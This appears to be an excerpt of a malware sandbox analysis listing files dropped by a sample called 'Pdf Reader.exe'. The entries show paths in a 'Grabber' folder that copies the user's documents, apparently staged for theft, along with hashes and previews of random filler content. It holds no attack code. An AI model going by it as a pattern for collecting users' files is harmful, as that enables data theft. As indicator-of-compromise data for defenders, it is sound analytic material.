Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN\BPMLNOBVSB.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN\JSDNGYCOWY.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690895772725941
Encrypted:	false
SSDEEP:	24:ZTWQe0oC6OG/K8Vsypd0HuXw0xVfU/Vzv98UU:ZTWQr2VyXysHIwcGKUU
MD5:	A002E80B55673139253599B753BDC01A
SHA1:	6AEEF831A5AAB9155AAABB52D173859E20A86932
SHA-256:	F3484FA4E615D7134AC1BF4C3355C6AD63B32AC3CD096345C5EBF6B0CE6669A0
SHA-512:	D4A9257255BA4610E904C005F6734E65D5B0B4489E645792F3AB52AFD59B4B76E4B0FCE1F3457D7E5D3DA3101DAAC80A926FA513B77DAB01F2DAC5F5C4304CA7
Malicious:	false
Preview:	JSDNGYCOWYHKSOWFGCIERRTFYJMLBLSAMTEZRBUWFRXYICIUHZNIMVLJXTFXQNXACRFWSEWJBERQHLEBPYXRECCWDJKIIOUGNYQMGAHSLOPLLALAEDDKJTOOCDGYIBOWZZREIEWSXQRGULZIXFYNIUMNTNALWVABHVLKEJLBKGOKXZWDSWRTTLTQLNTZDYMSECYMQISNCNIAJOWDCCMHWLIVFACQKZXXZJOSENBJHZELIVOCAHDNZGZILFSILTSAJXDBFAIPHVHXYHJHVMVHKVOMYOGGVIKVJUVYLDFTICBCZKSVRDRTALSXFNMCPLGOGSEBKXSHSHVDVDKWEHNIBLPTMWICAACVFWPQNIUVLFSAWPOGDJFOGTXDHMTFWREVZXCABJCKFYXJGAHKTXNFLIILTMBRTKACTMOVDBLCVYDVLNCDXAAINTGCCRZPDTOFCWZWTHLCVGRTQPEBHUFYWLTLNUIOFLOUTCINZEJUVLTZPPDBVDEELCGFQSGJPRJBEALQLZQAYAQRUTUANCYUZJENWEIISDNULLJXJUPBQHEJEUVMKMEUQRDHXPAZVIFDUGNWXKXYWIQQNJNRMYCLJLHWESVCNCQSXILKRQFSYEDZSBHSLAYIWWOVRVVSWUFEAQPMAPAKFCXFBDIPKHPSFGVOJCEEBALPVQKECBBUCTQGQXOQAPOOYAPYQXNDLKJDRFQDILPIWRGDYTFUHSZLJICMMUSSHGHNLKNEDYXJSPECVTAEQTVXATOODAVROWNAPCHDRRBHVDVWBGOSCJGDENAGFCYDIHAPBWLJNOPCQCPTSOHGQQMHEAKRBOBSEHAOMGXJVYWJGLSIQJUOMYPNZTOFVNNMRIVMHOCFZTLTEDAGEXGJXLNRLSHJQGFHIJDLJHOPPMFPYEIXPRQCTRDIYDJEHHSKFBRZMXLZJBDDOYCXQJBCBQFRXVCYCHXKGNDWEEUUKPAGVHHOXFZXZEWWCOVSFYZHILZJQQKFHCLR

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN\WUTJSCBCFX.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\DVWHKMNFNN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
